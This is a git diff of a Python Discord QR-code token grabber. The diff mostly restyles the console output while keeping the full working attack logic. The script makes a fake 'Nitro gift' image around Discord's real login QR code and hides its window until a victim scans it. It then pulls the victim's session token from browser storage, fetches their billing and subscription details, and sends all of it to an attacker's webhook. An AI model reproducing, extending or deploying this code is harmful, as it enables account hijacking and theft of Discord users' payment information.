diff --git a/QR-dtg.py b/QR-dtg.py index 2b178c7..2f72b16 100644 --- a/QR-dtg.py +++ b/QR-dtg.py @@ -1,26 +1,26 @@ import base64, os, re, time, sys from requests import get from bs4 import BeautifulSoup -from colorama import Fore, init from PIL import Image from selenium import webdriver from selenium.webdriver.chrome.service import Service from discord_webhook import DiscordEmbed, DiscordWebhook -from utilities import pystray_img +from pystyle import System, Center, Colorate, Colors, Box, Write +from utilities import pystray_img, banner from pystray import Menu, MenuItem, Icon from io import BytesIO import ctypes from threading import Thread +from shutil import get_terminal_size +import time def generate_qr() -> None: - #Generate a QR code to paste onto a discord nitro template. qr_img = Image.open(os.path.normpath(r"resources/qr_code.png"), "r") ovly_img = Image.open(os.path.normpath(r"resources/overlay.png"), "r") qr_img.paste(ovly_img, (60, 55)) qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95) def generate_nitro_template() -> None: - #Generate the nitro template using the QR code generated by generate_qr. nitro_template = Image.open(os.path.normpath(r"resources/template.png"), "r") qr_img = Image.open(os.path.normpath(r"resources/final_qr.png"), "r") nitro_template.paste(qr_img, (120, 409)) @@ -35,7 +35,6 @@ def get_user_data(tk): return None def get_discord_info(tk, link_int): - #Get payment and sub information. headers = {'Authorization': tk} if link_int == 1: response = get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json() @@ -44,15 +43,7 @@ def get_discord_info(tk, link_int): return response def main(webhook_url) -> None: - """Use selenium webdriver to go to the discord login page. - Then, grab the source of the page and use regex to identify the class - name of the div that contains the QR login image, regardless of - whether the class name changes (this avoids the program breaking - in the future). Finally, wait for a user to log in and then send token - to webhook. - """ - print(f""" -{Fore.LIGHTMAGENTA_EX}Generating QR — do not close until finished!""") + Write.Print("\n\n[!] Generating Qr-Code...", Colors.red_to_purple) webdriver.ChromeOptions.binary_location = r"browser/chrome.exe" opts = webdriver.ChromeOptions() opts.add_experimental_option("detach", True) @@ -61,11 +52,10 @@ def main(webhook_url) -> None: opts.add_argument('--log-level 3') driver = webdriver.Chrome(service=Service(os.path.normpath(r"browser/chromedriver.exe")), options=opts) driver.get("https://discord.com/login") - time.sleep(5) # Make sure QR has fully loaded before taking source! + time.sleep(5) source = BeautifulSoup(driver.page_source, features="lxml") if not (div := re.search(r"qrCode-......", str(source))): - print(f"{Fore.LIGHTRED_EX}Error: \ -the regular expression 'qrCode-......' is not found.") + print(Write.Print("\n[!] QR Code is not found, please retry or contact us !'", Colors.red_to_yellow)) sys.exit() div = div.group(0) div = source.find("div", {"class": f"{div}"}) @@ -74,44 +64,37 @@ the regular expression 'qrCode-......' is not found.") div = source.find("div", {"class": "qrCode"}) file = os.path.join(os.getcwd(), r"resources/qr_code.png") img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', '')) - with open(file, "wb") as handler: handler.write(img_data) - + Write.Print("\n[!] Generating QR-Code template...", Colors.red_to_purple) discord_login = driver.current_url generate_qr() + Write.Print("\n[!] Generating QR-Code Nitro template...", Colors.red_to_purple) generate_nitro_template() - - print(f""" -{Fore.LIGHTGREEN_EX}Generated QR as discord_gift.png! -{Fore.BLUE}Waiting for target user to scan the QR code. . . -""") + Write.Print("\n[#] Waiting for target...", Colors.red_to_purple) pystray_icon.icon.notify("Script currently being hided until target grabbed.", 'Waiting for target') time.sleep(3) ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) while True: if discord_login != driver.current_url: token = driver.execute_script(''' -window.dispatchEvent(new Event('beforeunload')); -let iframe = document.createElement('iframe'); -iframe.style.display = 'none'; -document.body.appendChild(iframe); -let localStorage = iframe.contentWindow.localStorage; -var token = JSON.parse(localStorage.token); -return token; -''') + window.dispatchEvent(new Event('beforeunload')); + let iframe = document.createElement('iframe'); + iframe.style.display = 'none'; + document.body.appendChild(iframe); + let localStorage = iframe.contentWindow.localStorage; + var token = JSON.parse(localStorage.token); + return token; + ''') break pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !') time.sleep(3) ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1) - print(f""" -{Fore.LIGHTGREEN_EX}The following token has been grabbed: {token} - -{Fore.LIGHTYELLOW_EX}Sending Info to Discord Webhook... {Fore.LIGHTWHITE_EX}""", -end="") + Write.Print(f"\n\n[?] Token grabbed: {token}", Colors.rainbow) + Write.Print("\n\n[!]Fetching token data...", Colors.red_to_purple) driver.quit() - webhook = DiscordWebhook(url=webhook_url, username='QR-Dtg', avatar_url="https://c.tenor.com/h3fCM442dCcAAAAC/discord-logo.gif") - embed = DiscordEmbed(color='FF00FF') + webhook = DiscordWebhook(url=webhook_url, username='QR-Dtg', avatar_url="https://i.postimg.cc/qRHbRP2g/discord-avatar.png") + embed = DiscordEmbed(color='88c800') if re.search(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) != None: userdata, user_billings, user_subs = get_user_data(token), get_discord_info(token, 1), get_discord_info(token, 2) if userdata != None: @@ -132,25 +115,19 @@ end="") else: embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False) webhook.add_embed(embed) - embed.set_footer(text='Created by NightfallGT, Revised by Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0', inline=False) + embed.set_footer(text='By Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0', inline=False) + Write.Print("[!]Sending data to discord webhook...", Colors.red_to_purple) webhook.execute() - print(f"{Fore.LIGHTGREEN_EX}Information sended to webhook !") + Write.Input('\n\nPress any button to quit.', Colors.blue_to_green) if __name__ == "__main__": - init() - os.system("cls") - print(f""" - -{Fore.GREEN}QR Discord Token Grabber -{Fore.BLUE}Created by NightfallGT -Revised by Luci (9P9) -Revised by Lemon.-_-.#3714 (mouadessalim) -Revised by the-cult-of-integral -Revised by mte0 - -{Fore.LIGHTYELLOW_EX}Enter a webhook URL. ->>> {Fore.LIGHTWHITE_EX}""", end="") - + System.Title('QR DISCORD LOGIN - By Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0') + System.Size(140, 35) + def print_center(s): + return s.center(get_terminal_size().columns) + print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(banner), 1)) + print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube("By Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0")), 1)) + print(Colorate.Horizontal(Colors.rainbow, Box.Lines("https://github.com/9P9/Discord-QR-Token-Logger").replace('ቐ', "$"), 1), "\n") def pystray_icon(): def window_state(icon, item): if str(item) == 'Show': @@ -169,7 +146,7 @@ Revised by mte0 pystray_icon.icon.run() Thread(target=pystray_icon).start() - th_main = Thread(target=main, args=(input(),)) + th_main = Thread(target=main, args=(Write.Input("[*] Enter your webhook url -> ", Colors.green_to_cyan, interval=0.01),)) th_main.start() while True: if not th_main.is_alive():